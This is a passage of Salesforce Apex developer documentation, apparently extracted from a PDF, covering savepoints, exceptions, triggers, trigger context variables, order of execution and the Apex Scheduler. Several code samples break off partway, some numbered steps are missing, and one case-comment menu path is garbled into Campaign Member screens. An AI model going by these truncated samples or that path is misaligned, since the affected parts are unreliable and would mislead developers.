Note that there is no `commit` statement. If your Apex script completes successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes made to the database are rolled back.

Avoiding Deadlocks

Note that Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or rows. To avoid such deadlocks, the Apex runtime engine:

1. First locks sObject parent records, then children
2. Locks sObject records in order of ID when multiple records of the same type are being edited

As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application.

Transaction Control

All requests are delimited by the trigger, Web Service, Visualforce page or anonymous block that executes the Apex code. If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page
called an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce page has finished running, are the changes committed to the database. If the request does not complete successfully, all database changes are rolled back.

However, sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be “rolled back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and the database can be restored to the same condition it was in at the time you generated the savepoint.

The following limitations apply to generating savepoint variables and rolling back the database:

- If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
- References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error.
- Each savepoint you set counts against the total number of DML statements.
- Each rollback counts against the total number of DML statements. You will receive a runtime error if you try to rollback the database additional times.

The following is an example using the setSavepoint and rollback Database methods.

```java
Account a = new account(name = 'xxx'); insert a;
System.assertEquals(null, [select accountnumber from account where id = :a.id]. accountnumber);
// Create a savepoint while accountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.accountnumber = '123';
update a;
System.assertEquals('123', [select accountnumber from account where id = :a.id]. accountnumber);
// Rollback to the previous null value
Database.rollback(sp);
System.assertEquals(null, [select accountnumber from account where id = :a.id]. accountnumber);
```

**Exception Statements**

Apex uses exceptions to note errors and other events that disrupt the normal flow of script execution. throw statements can be used to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.

You can also create your own exceptions using the Exception class. For more information, see Exception Class on page 342.
Throw Statements

A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it with an exception object to provide information about the specific error. For example:

```java
throw exceptionObject;
```

Try-Catch-Finally Statements

The try, catch, and finally statements can be used to gracefully recover from a thrown exception:

- The try statement identifies a block of code in which an exception can occur.
- The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have multiple associated catch statements, however, each catch statement must have a unique exception type.
- The finally statement optionally identifies a block of code that is guaranteed to execute and allows you to clean up after the code enclosed in the try block. A single try statement can have only one associated finally statement.

Syntax

The syntax of these statements is as follows:

```java
try {
    code_block
} catch (exceptionType) {
    code_block
} // Optional catch statements for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.
} catch (Exception e) {
    code_block
} // Optional finally statement
} finally {
    code_block
}
```

Example

For example:

```java
try {
    // Your code here
} catch (ListException e) {
    // List Exception handling code here
} catch (Exception e) {
    // Generic exception handling code here
}
```

Note: Limit exceptions caused by an execution governor cannot be caught. See Understanding Execution Governors and Limits on page 188 for information.
Chapter 3

Invoking Apex

In this chapter ...

- Triggers
- Apex Scheduler
- Anonymous Blocks
- Apex in AJAX

Using the following mechanisms, you can invoke your Apex scripts:

- Triggers
- Apex scheduler (for Apex classes only)
- Anonymous Blocks
- AJAX Toolkit
Triggers

Apex can be invoked through the use of triggers. A trigger is Apex code that executes before or after the following types of operations:

- insert
- update
- delete
- merge
- upsert
- undelete

For example, you can have a trigger run before an object’s records are inserted into the database, after records have been deleted, or even after a record is restored from the Recycle Bin.

You can define triggers for any top-level standard object, such as a Contact or an Account, but not for standard child objects, such as a ContactRole.

- For case comments, click Your Name ➤ Setup ➤ Cases ➤ Case Comments ➤ Triggers.
- For email messages, click Your Name ➤ Setup ➤ Cases ➤ Email Messages ➤ Triggers.

Triggers can be divided into two types:

- **Before** triggers can be used to update or validate record values before they are saved to the database.
- **After** triggers can be used to access field values that are set by the database (such as a record’s id or lastUpdated field), and to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue.

Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and sets limits on the number of operations that can be performed to prevent infinite recursion. See Understanding Execution Governors and Limits on page 188.

Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error. This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.

Implementation Considerations

Before creating triggers, consider the following:

- **upsert** triggers fire both before and after insert or before and after update triggers as appropriate.
- **merge** triggers fire both before and after delete triggers for the losing records and before update triggers for the winning record only. See Triggers and Merge Statements on page 75.
- Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on page 76.
- Field history is not recorded until the end of a trigger. If you query field history in a trigger, you will not see any history for the current transaction.
- Do not write triggers that make assumptions about API batches. Salesforce may break up API batches into sets smaller than those specified.
Bulk Triggers

All triggers are *bulk triggers* by default, and can process multiple records at a time. You should always plan on processing more than one record at a time.

**Note:** An Event object that is defined as recurring is not processed in bulk for *insert*, *delete*, or *update* triggers.

Bulk triggers can handle both single record updates and bulk operations like:

- Data import
- Bulk Force.com API calls
- Mass actions, such as record owner changes and deletes
- Recursive Apex methods and triggers that invoke bulk DML statements

Trigger Syntax

To define a trigger, use the following syntax:

```
trigger triggerName on ObjectName (trigger_events) {
  code_block
}
```

where `trigger_events` can be a comma-separated list of one or more of the following events:

- before insert
- before update
- before delete
- after insert
- after update
- after delete
- after undelete

**Note:**

- You can only use the `webService` keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the `@future` keyword.
- A trigger invoked by an *insert*, *delete*, or *update* of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

For example, the following code defines a trigger for the *before insert* and *before update* events on the Account object:

```
trigger myAccountTrigger on Account (before insert, before update) {
  // Your code here
}
```

The code block of a trigger cannot contain the `static` keyword. Triggers can only contain keywords applicable to an inner class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex script completes successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes made to the database are rolled back.
# Trigger Context Variables

All triggers define implicit variables that allow developers to access runtime context. These variables are contained in the `System.Trigger` class:

<table>
<thead>
<tr>
<th>Variable</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>isExecuting</code></td>
<td>Returns true if the current context for the Apex script is a trigger, not a Visualforce page, a Web service, or an <code>executeanonymous()</code> API call.</td>
</tr>
<tr>
<td><code>isInsert</code></td>
<td>Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td><code>isUpdate</code></td>
<td>Returns true if this trigger was fired due to an update operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td><code>isDelete</code></td>
<td>Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td><code>isBefore</code></td>
<td>Returns true if this trigger was fired before any record was saved.</td>
</tr>
<tr>
<td><code>isAfter</code></td>
<td>Returns true if this trigger was fired after all records were saved.</td>
</tr>
<tr>
<td><code>isUndelete</code></td>
<td>Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after an undelete operation from the Salesforce user interface, Apex, or the API.)</td>
</tr>
<tr>
<td><code>new</code></td>
<td>Returns a list of the new versions of the sObject records. Note that this sObject list is only available in <code>insert</code> and <code>update</code> triggers, and the records can only be modified in <code>before</code> triggers.</td>
</tr>
<tr>
<td><code>newMap</code></td>
<td>A map of IDs to the new versions of the sObject records. Note that this map is only available in <code>before update</code>, <code>after insert</code>, and <code>after update</code> triggers.</td>
</tr>
<tr>
<td><code>old</code></td>
<td>Returns a list of the old versions of the sObject records. Note that this sObject list is only available in <code>update</code> and <code>delete</code> triggers.</td>
</tr>
<tr>
<td><code>oldMap</code></td>
<td>A map of IDs to the old versions of the sObject records. Note that this map is only available in <code>update</code> and <code>delete</code> triggers.</td>
</tr>
<tr>
<td><code>size</code></td>
<td>The total number of records in a trigger invocation, both old and new.</td>
</tr>
</tbody>
</table>

**Note:** If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set to `null` in the `new`, `newMap`, `old`, and `oldMap` trigger context variables.

For example, in this simple trigger, `Trigger.new` is a list of sObjects and can be iterated over in a `for` loop, or used as a bind variable in the `IN` clause of a SOQL query:

```apex
Trigger t on Account (after insert) { 
    for (Account a : Trigger.new) { 
        // Iterate over each sObject
    } 
    // This single query finds every contact that is associated with any of the 
    // triggering accounts. Note that although Trigger.new is a collection of
```
This trigger uses Boolean context variables like `Trigger.isBefore` and `Trigger.isDelete` to define code that only executes for specific trigger conditions:

```
trigger myAccountTrigger on Account(before delete, before insert, before update,
 after delete, after insert, after update) {
if (Trigger.isBefore) {
  if (Trigger.isDelete) {
    // In a before delete trigger, the trigger accesses the records that will be
    // deleted with the Trigger.old list.
    for (Account a : Trigger.old) {
      if (a.name != 'okToDelete') {
        a.addError('You can\'t delete this record!');
      }
    }
  } else {
    // In before insert or before update triggers, the trigger accesses the new records
    // with the Trigger.new list.
    for (Account a : Trigger.new) {
      if (a.name == 'bad') {
        a.name.addError('Bad name');
      }
    }
  }
  if (Trigger.isInsert) {
    for (Account a : Trigger.new) {
      System.assertEquals('xxx', a.accountNumber);
      System.assertEquals('industry', a.industry);
      System.assertEquals(100, a.numberofemployees);
      System.assertEquals(100.0, a.annualrevenue);
      a.accountNumber = 'yyy';
    }
  }
} else {
  if (Trigger.isInsert) {
    List<Contact> contacts = new Contact[0];
    for (Account a : Trigger.new) {
      if(a.name == 'makeContact') {
        contacts.add(new Contact (lastname = a.name,
                                  accountId = a.id));
      }
    }
    insert contacts;
  }
}
}}
```

### Context Variable Considerations

Be aware of the following considerations for trigger context variables:

- `trigger.new` and `trigger.old` cannot be used in Apex DML operations.
- You can use an object to change its own field values using `trigger.new`, but only in before triggers. In all after triggers, `trigger.new` is not saved, so a runtime exception is thrown.
- `trigger.old` is always read-only.
- You cannot delete `trigger.new`.

The following table lists considerations about certain actions in different trigger events:

<table>
<thead>
<tr>
<th>Trigger Event</th>
<th>Can change fields using <code>trigger.new</code></th>
<th>Can update original object using an update DML operation</th>
<th>Can delete original object using a delete DML operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>before insert</td>
<td>Allowed.</td>
<td>Not applicable. The original object has not been created; nothing can reference it, so nothing can update it.</td>
<td>Not applicable. The original object has not been created; nothing can reference it, so nothing can update it.</td>
</tr>
<tr>
<td>after insert</td>
<td>Not allowed. A runtime error is thrown, as <code>trigger.new</code> is already saved.</td>
<td>Allowed.</td>
<td>Allowed, but unnecessary. The object is deleted immediately after being inserted.</td>
</tr>
<tr>
<td>after update</td>
<td>Not allowed. A runtime error is thrown, as <code>trigger.new</code> is already saved.</td>
<td>Allowed. Even though a bad script could cause an infinite recursion doing this incorrectly, the error would be found by the governor limits.</td>
<td>Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible.</td>
</tr>
<tr>
<td>before delete</td>
<td>Not allowed. A runtime error is thrown. <code>trigger.new</code> is not available in before delete triggers.</td>
<td>Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible.</td>
<td>Not allowed. A runtime error is thrown. The deletion is already in progress.</td>
</tr>
<tr>
<td>after delete</td>
<td>Not allowed. A runtime error is thrown. <code>trigger.new</code> is not available in after delete triggers.</td>
<td>Not applicable. The object has already been deleted.</td>
<td>Not applicable. The object has already been deleted.</td>
</tr>
<tr>
<td>after undelete</td>
<td>Not allowed. A runtime error is thrown. <code>trigger.old</code> is not available in after undelete triggers.</td>
<td>Allowed.</td>
<td>Allowed, but unnecessary. The object is deleted immediately after being inserted.</td>
</tr>
</tbody>
</table>

**Common Bulk Trigger Idioms**

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult for developers to understand and code because they involve processing batches of several records at a time. The following sections provide examples of idioms that should be used frequently when writing in bulk.

**Using Maps and Sets in Bulk Triggers**

Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps can be used to hold query results organized by record ID.

For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the `OpportunityLineItem` records in `Trigger.new` to a set, ensuring that the set contains only distinct elements. It then queries
the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger
iterates through the OpportunityLineItems in Trigger.new and uses the map to assign the appropriate color.

```java
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
    // For every OpportunityLineItem record, add its associated pricebook entry
    // to a set so there are no duplicates.
    Set<Id> pbeIds = new Set<Id>();
    for (OpportunityLineItem oli : Trigger.new)
        pbeIds.add(oli.pricebookentryid);

    // Query the PricebookEntries for their associated product color and place the results
    // in a map.
    Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
        [select product2.color__c from pricebookentry
        where id in :pbeIds]);

    // Now use the map to set the appropriate color on every OpportunityLineItem processed
    // by the trigger.
    for (OpportunityLineItem oli : Trigger.new)
        oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
```

**Correlating Records with Query Results in Bulk Triggers**

Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example,
this trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger.
For every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:

```java
trigger oppTrigger on Opportunity (before delete) {
    for (Quote__c q : [select opportunity__c from quote__c
    where opportunity__c in :Trigger.oldMap.keySet()]) {
        Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
        opportunity with a quote');
    }
}
```

**Using Triggers to Insert or Update Records with Unique Fields**

When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch,
the error message for the duplicate record includes the ID of the first record. However, it is possible that the error message
may not be correct by the time the request is finished.

When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns
new keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have
an insert event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once
the system rolls back the changes and re-inserts the first record by itself, the record receives a new ID. That means the error
message reported by the second record is no longer valid.

**Defining Triggers**

Trigger scripts are stored as metadata under the object with which they are associated. To define a trigger in Salesforce:

1. For a standard object, click **Your Name ➤ Setup ➤ Customize**, click the name of the object, then click **Triggers**.
For a custom object, click Your Name ➤ Setup ➤ Create ➤ Objects and click the name of the object.

For campaign members, click Your Name ➤ Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Triggers.

For case comments, click Your Name ➤ Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Triggers ➤ Campaign Member ➤ Triggers.

For email messages, click Your Name ➤ Setup ➤ Cases ➤ Email Messages ➤ Triggers.

2. In the Triggers related list, click New.

3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior.

4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only want to store the code in your organization’s metadata. This checkbox is selected by default.

5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.

To define a trigger, use the following syntax:

```
trigger triggerName on ObjectName (trigger_events) {
    code_block
}
```

where `trigger_events` can be a comma-separated list of one or more of the following events:

- before insert
- before update
- before delete
- after insert
- after update
- after delete
- after undelete

**Note:**

- You can only use the `webService` keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the `@future` keyword.
- A trigger invoked by an `insert`, `delete`, or `update` of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

6. Click Save.

**Note:** Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata.

If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

**The Apex Trigger Editor**

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search (🔍)
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next.

- To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger.
- To make the search operation case sensitive, select the Match Case option.
- To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.

If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(^\s+)(.*)> and replace it with <H2$1$2>.

Go to line (➡️)
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.

Undo (⟵) and Redo (⟳)
Use undo to reverse an editing action and redo to recreate an editing action that was undone.

Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.

Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line (➡️) to quickly navigate through the editor.

Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Triggers and Merge Statements
Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:

Deletion of losing records
A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result of a merge, you need to use the after delete trigger event.

Update of the winning record
A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result of the merge operation do not fire triggers.
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts, such as accounts or opportunities, fire.

The following is the order of events when a merge occurs:

1. The before delete trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.

**Triggers and Recovered Records**

The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered from the Recycle Bin. These are also called undeleted records.

The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes.

The after undelete trigger event only fires for the following objects:

- Account
- Asset
- Campaign
- Case
- Contact
- Contract
- Custom objects
- Event
- Lead
- Opportunity
- Product
- Solution
- Task

**Triggers and Order of Execution**

When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order.

*Note:* Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on the client side.

On the server, Salesforce:

1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values. If the request came from a standard UI edit page, Salesforce runs system validation to check the record for:
   - Compliance with layout-specific rules
   - Required values at the layout level and field-definition level
   - Valid field formats
• Maximum field length

Salesforce does not perform system validation in this step when the request comes from other sources, such as an Apex application or a Web services API call.

3. Executes all before triggers.

4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined validation rules. The only system validation that Salesforce does not run a second time (when the request comes from a standard UI edit page) is the enforcement of layout-specific rules.

5. Saves the record to the database, but does not commit yet.

6. Executes all after triggers.

7. Executes assignment rules.


10. If there are workflow field updates, updates the record again.

11. If the record was updated with workflow field updates, fires before and after triggers one more time (and only one more time), in addition to standard validations. Custom validation rules are not run again.

   **Note:** The before and after triggers fire one more time **only** if something needs to be updated. If the fields have already been set to a value, the triggers are **not** fired again.


13. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Parent record goes through save procedure.

14. If the parent record is updated, and a grand-parent record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Grand-parent record goes through save procedure.

15. Executes Criteria Based Sharing evaluation.

16. Commits all DML operations to the database.

17. Executes post-commit logic, such as sending email.

   **Note:** During a recursive save, Salesforce skips steps 7 through 14.

**Additional Considerations**

Please note the following when working with triggers:

- **When Enable Validation and Triggers from Lead Convert is selected,** if the lead conversion creates an opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity is created, before the opportunity contact role is created. For more information, see “Customizing Lead Settings” in the Salesforce online help.

- **If you are using before triggers to set Stage and Forecast Category for an opportunity record,** the behavior is as follows:
  - If you set **Stage** and Forecast Category, the opportunity record contains those exact values.
  - If you set **Stage** but not Forecast Category, the Forecast Category value on the opportunity record defaults to the one associated with trigger **Stage**.
  - If you reset **Stage** to a value specified in an API call or incoming from the user interface, the Forecast Category value should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage. If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.
• If you are cloning an opportunity with products, the following events occur in order:

1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.

Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning.

If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.

Operations That Do Not Invoke Triggers

Triggers are only invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server. Consequently, some system bulk operations do not currently invoke triggers. Some examples include:

- Cascading delete operations. Records that did not initiate a delete do not cause trigger evaluation.
- Cascading updates of child records that are reparented as a result of a merge operation
- Mass campaign status changes
- Mass division transfers
- Mass address updates
- Mass approval request transfers
- Mass email actions
- Modifying custom field data types
- Renaming or replacing picklists
- Managing price books
- Changing a user’s default division with the transfer division option checked
- Changes to the following objects:
  - BrandTemplate
  - MassEmailTemplate
  - Folder

Note: Inserts, updates, and deletes on person accounts fire account triggers, not contact triggers.

Before triggers associated with the following operations are only fired during lead conversion if validation and triggers for lead conversion are enabled in the organization:

- insert of accounts, contacts, and opportunities
- update of accounts and contacts

Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity’s owner changing.

When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity, the before and after triggers and the validation rules do not fire for the opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.

The `getContent` and `getContentAsPDF` PageReference methods aren’t allowed in triggers.

Note the following for the ContentVersion object:

- Content pack operations involving the ContentVersion object, including slides and slide autorevision, don’t invoke triggers.
**Note:** Content packs are revised when a slide inside of the pack is revised.

- Values for the TagCsv, ContentSize, and VersionData fields are only available in triggers if the request to create or update ContentVersion records originates from the API.
- You can’t use before or after delete triggers with the ContentVersion object.

Things to consider about FeedItem and FeedComment triggers:

- FeedItem and FeedComment objects don’t support updates. Don’t use before update or after update triggers.
- FeedItem and FeedComment objects can’t be undeleted. Don’t use the after undelete trigger.
- Only FeedItems of Type TextPost, LinkPost, and ContentPost can be inserted, and therefore invoke the before or after insert trigger. User status updates don’t cause the FeedItem triggers to fire.
- While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don’t use any insert or delete triggers saved against versions prior to 21.0.
- For FeedItem the following fields are not available in the before insert trigger:
  - ContentSize
  - ContentType

  In addition, the ContentData field is not available in any delete trigger.

- Apex code uses additional security when executing in a Chatter context. To post to a private group, the user running the code must be a member of that group. If the running user isn’t a member, you can set the CreatedById field to be a member of the group in the FeedItem record.

### Fields that Cannot Be Updated by Triggers

Some field values are set during the system save operation which occurs after before triggers have fired. As a result, these fields cannot be modified or accurately detected in before insert or before update triggers. Some examples include:

- Task.isClosed
- Opportunity.amount*
- Opportunity.ForecastCategory
- Opportunity.isWon
- Opportunity.isClosed
- Contract.activatedDate
- Contract.activatedById
- Case.isClosed
- Solution.isReviewed
- Id (for all records)**
- createdDate (for all records)**
- lastUpdated (for all records)

  * When Opportunity has no lineitems, Amount can be modified by a before trigger.
  
  ** Id and createdDate can be detected in before update triggers, but cannot be modified.

### Trigger Exceptions

Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.

A subset of the records being processed can be marked with the `addError()` method:

- If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the runtime engine still processes every record in the operation to compile a comprehensive list of errors.
- If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 236.

If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.

## Apex Scheduler

To invoke Apex classes to run at specific times, first implement the `Schedulable` interface for the class, then specify the schedule using either the Schedule Apex page in the Salesforce user interface, or the `System.schedule` method.

For more information about the Schedule Apex page, see “Scheduling Apex” in the Salesforce online help.

**Important:** Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability.

You can only have ten classes scheduled at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce or programmatically using the Force.com Web services API to query the CronTrigger object.

Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

### Implementing the `Schedulable` Interface

To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface `Schedulable`.

The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more information on setting class permissions, see “Setting Apex Class Security” in the Salesforce online help.

To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, click **Your Name ➤ Setup ➤ Monitoring ➤ Scheduled Jobs**. For more information, see “Monitoring Scheduled Jobs” in the Salesforce online help.

The `Schedulable` interface contains one method that must be implemented, `execute`.

```java
global void execute(SchedulableContext sc) {}
```

Use this method to instantiate the class you want to schedule.

**Tip:** Though it's possible to do additional processing in the `execute` method, Salesforce recommends that all processing take place in a separate class.

The following example implements the `Schedulable` interface for a class called `mergeNumbers`:

```java
global class scheduledMerge implements Schedulable{
    global void execute(SchedulableContext SC) {
```


The following example uses the System.Schedule method to implement the above class:

```java
scheduledMerge m = new scheduledMerge();
String sch = '20 30 8 10 2 ?';
system.schedule('Merge Job', sch, m);
```

You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable interface for a batch Apex class called batchable:

```java
global class scheduledBatchable implements Schedulable{
    global void execute(SchedulableContext sc) {
        batchable b = new batchable();
        database.executebatch(b);
    }
}
```

Use the SchedulableContext object to keep track of the scheduled job once it’s scheduled. The SchedulableContext method getTriggerID returns the Id of the CronTrigger object associated with this scheduled job as a string. Use this method to track the progress of the scheduled job.

To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID method.

**Testing the Apex Scheduler**

The following is an example of how to test using the Apex scheduler.

This is the class to be tested:

```java
global class TestScheduledApexFromTestMethod implements Schedulable {
    // This test runs a scheduled job at midnight Sept. 3rd. 2022
    public static String CRON_EXP = '0 0 0 3 9 ? 2022';
    global void execute(SchedulableContext ctx) {
        CronTrigger ct = [SELECT id, CronExpression, TimesTriggered, NextFireTime
        FROM CronTrigger WHERE id = :ctx.getTriggerId()];
        System.assertEquals(CRON_EXP, ct.CronExpression);
        System.assertEquals(0, ct.TimesTriggered);
        System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime));
        Account a = [SELECT id, name FROM Account WHERE name = 'testScheduledApexFromTestMethod'];
        a.name = 'testScheduledApexFromTestMethodUpdated';
        update a;
    }
}
```

The following tests the above class:

```java
@istest
class TestClass {
    static testmethod void test() {
```
Using the `System.Schedule` Method

After you implement a class with the `Schedulable` interface, use the `System.Schedule` method to execute it. The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not.

**Note:** Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

The `System.Schedule` method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax:

```
Seconds Minutes Hours Day_of_month Month Day_of_week optional_year
```

**Note:** Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability.

The `System.Schedule` method uses the user’s timezone for the basis of all schedules.

The following are the values for the expression:
<table>
<thead>
<tr>
<th>Name</th>
<th>Values</th>
<th>Special Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Seconds</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Minutes</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Hours</td>
<td>0–23</td>
